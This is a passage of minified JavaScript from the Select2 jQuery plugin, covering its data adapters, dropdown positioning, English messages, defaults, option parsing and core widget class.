d=a.trim(c.term);return""===d?null:{id:d,text:d}},b.prototype.insertTag=function(a,b,c){b.unshift(c)},b.prototype._removeOldTags=function(b){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},b}),b.define("select2/data/tokenizer",["jquery"],function(a){function b(a,b,c){var d=c.get("tokenizer");void 0!==d&&(this.tokenizer=d),a.call(this,b,c)}return b.prototype.bind=function(a,b,c){a.call(this,b,c),this.$search=b.dropdown.$search||b.selection.$search||c.find(".select2-search__field")},b.prototype.query=function(b,c,d){function e(b){var c=g._normalizeItem(b);if(!g.$element.find("option").filter(function(){return a(this).val()===c.id}).length){var d=g.option(c);d.attr("data-select2-tag",!0),g._removeOldTags(),g.addOptions([d])}f(c)}function f(a){g.trigger("select",{data:a})}var g=this;c.term=c.term||"";var h=this.tokenizer(c,this.options,e);h.term!==c.term&&(this.$search.length&&(this.$search.val(h.term),this.$search.focus()),c.term=h.term),b.call(this,c,d)},b.prototype.tokenizer=function(b,c,d,e){for(var f=d.get("tokenSeparators")||[],g=c.term,h=0,i=this.createTag||function(a){return{id:a.term,text:a.term}};h<g.length;){var j=g[h];if(-1!==a.inArray(j,f)){var k=g.substr(0,h),l=a.extend({},c,{term:k}),m=i(l);null!=m?(e(m),g=g.substr(h+1)||"",h=0):h++}else h++}return{term:g}},b}),b.define("select2/data/minimumInputLength",[],function(){function a(a,b,c){this.minimumInputLength=c.get("minimumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",b.term.length<this.minimumInputLength)return void this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumInputLength",[],function(){function a(a,b,c){this.maximumInputLength=c.get("maximumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",this.maximumInputLength>0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<span class="select2-dropdown"><span class="select2-results"></span></span>');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" /></span>');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('<li class="select2-results__option select2-results__option--load-more"role="treeitem" aria-disabled="true"></li>'),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a("<span></span>"),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.top<f.top-h.height,k=i.bottom>f.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d<b.length;d++){var e=b[d];e.children?c+=a(e.children):c++}return c}function b(a,b,c,d){this.minimumResultsForSearch=c.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),a.call(this,b,c,d)}return b.prototype.showSearch=function(b,c){return!(a(c.data.results)<this.minimumResultsForSearch)&&b.call(this,c)},b}),b.define("select2/dropdown/selectOnClose",["../utils"],function(a){function b(){}return b.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("close",function(a){d._handleSelectOnClose(a)})},b.prototype._handleSelectOnClose=function(b,c){if(c&&null!=c.originalSelect2Event){var d=c.originalSelect2Event;if("select"===d._type||"unselect"===d._type)return}var e=this.getHighlightedResults();if(!(e.length<1)){var f=a.GetData(e[0],"data");null!=f.element&&f.element.selected||null==f.element&&f.selected||this.trigger("select",{data:f})}},b}),b.define("select2/dropdown/closeOnSelect",[],function(){function a(){}return a.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("select",function(a){d._selectTriggered(a)}),b.on("unselect",function(a){d._selectTriggered(a)})},a.prototype._selectTriggered=function(a,b){var c=b.originalEvent;c&&c.ctrlKey||this.trigger("close",{originalEvent:c,originalSelect2Event:b})},a}),b.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(a){var b=a.input.length-a.maximum,c="Please delete "+b+" character";return 1!=b&&(c+="s"),c},inputTooShort:function(a){return"Please enter "+(a.minimum-a.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(a){var b="You can only select "+a.maximum+" item";return 1!=a.maximum&&(b+="s"),b},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),b.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C){function D(){this.reset()}return D.prototype.apply=function(l){if(l=a.extend(!0,{},this.defaults,l),null==l.dataAdapter){if(null!=l.ajax?l.dataAdapter=o:null!=l.data?l.dataAdapter=n:l.dataAdapter=m,l.minimumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L<K.length;L++){var M=K[L],N={};try{N=k.loadPath(M)}catch(a){try{M=this.defaults.amdLanguageBase+M,N=k.loadPath(M)}catch(a){l.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+M+'" could not be automatically loaded. A fallback will be used instead.');continue}}J.extend(N)}l.translations=J}else{var O=k.loadPath(this.defaults.amdLanguageBase+"en"),P=new k(l.language);P.extend(O),l.translations=P}return l},D.prototype.reset=function(){function b(a){function b(a){return l[a]||a}return a.replace(/[^\u0000-\u007E]/g,b)}function c(d,e){if(""===a.trim(d.term))return e;if(e.children&&e.children.length>0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h<i;h+=1){var j=g[h].replace(/\s/g,""),k=j.match(c);if(null!==k&&k.length>=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e<b.addedNodes.length;e++){var f=b.addedNodes[e];f.selected&&(c=!0)}else b.removedNodes&&b.removedNodes.length>0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("select2/compat/utils",["jquery"],function(a){function b(b,c,d){var e,f,g=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0===this.indexOf("select2-")&&g.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(f=d(this))&&g.push(f)})),b.attr("class",g.join(" "))}return{syncCssClasses:b}}),b.define("select2/compat/containerCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("containerCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptContainerCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("containerCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/dropdownCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("dropdownCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptDropdownCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("dropdownCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/initSelection",["jquery"],function(a){function b(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=c.get("initSelection"),this._isInitialized=!1,a.call(this,b,c)}return b.prototype.current=function(b,c){var d=this;if(this._isInitialized)return void b.call(this,c);this.initSelection.call(null,this.$element,function(b){d._isInitialized=!0,a.isArray(b)||(b=[b]),c(b)})},b}),b.define("select2/compat/inputData",["jquery","../utils"],function(a,b){function c(a,b,c){this._currentData=[],this._valueSeparator=c.get("valueSeparator")||",","hidden"===b.prop("type")&&c.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `<select>` element instead."),a.call(this,b,c)}return c.prototype.current=function(b,c){function d(b,c){var e=[];return b.selected||-1!==a.inArray(b.id,c)?(b.selected=!0,e.push(b)):b.selected=!1,b.children&&e.push.apply(e,d(b.children,c)),e}for(var e=[],f=0;f<this._currentData.length;f++){var g=this._currentData[f];e.push.apply(e,d(g,this.$element.val().split(this._valueSeparator)))}c(e)},c.prototype.select=function(b,c){if(this.options.get("multiple")){var d=this.$element.val();d+=this._valueSeparator+c.id,this.$element.val(d),this.$element.trigger("change")}else this.current(function(b){a.map(b,function(a){a.selected=!1})}),this.$element.val(c.id),this.$element.trigger("change")},c.prototype.unselect=function(a,b){var c=this;b.selected=!1,this.current(function(a){for(var d=[],e=0;e<a.length;e++){var f=a[e];b.id!=f.id&&d.push(f.id)}c.$element.val(d.join(c._valueSeparator)),c.$element.trigger("change")})},c.prototype.query=function(a,b,c){for(var d=[],e=0;e<this._currentData.length;e++){var f=this._currentData[e],g=this.matches(b,f);null!==g&&d.push(g)}c({results:d})},c.prototype.addOptions=function(c,d){var e=a.map(d,function(a){return b.GetData(a[0],"data")});this._currentData.push.apply(this._currentData,e)},c}),b.define("select2/compat/matcher",["jquery"],function(a){function b(b){function c(c,d){var e=a.extend(!0,{},d);if(null==c.term||""===a.trim(c.term))return e;if(d.children){for(var f=d.children.length-1;f>=0;f--){var g=d.children[f];b(c.term,g.text,g)||e.children.splice(f,1)}if(e.children.length>0)return e}return b(c.term,d.text,d)?e:null}return c}return b}),b.define("select2/compat/query",[],function(){function a(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `query` option has been deprecated in favor of a custom data adapter that overrides the `query` method. Support will be removed for the `query` option in future versions of Select2."),a.call(this,b,c)}return a.prototype.query=function(a,b,c){b.callback=c,this.options.get("query").call(null,b)},a}),b.define("select2/dropdown/attachContainer",[],function(){function a(a,b,c){a.call(this,b,c)}return a.prototype.position=function(a,b,c){c.find(".dropdown-wrapper").append(b),b.addClass("select2-dropdown--below"),c.addClass("select2-container--below")},a}),b.define("select2/dropdown/stopPropagation",[],function(){function a(){}return a.prototype.bind=function(a,b,c){a.call(this,b,c);var 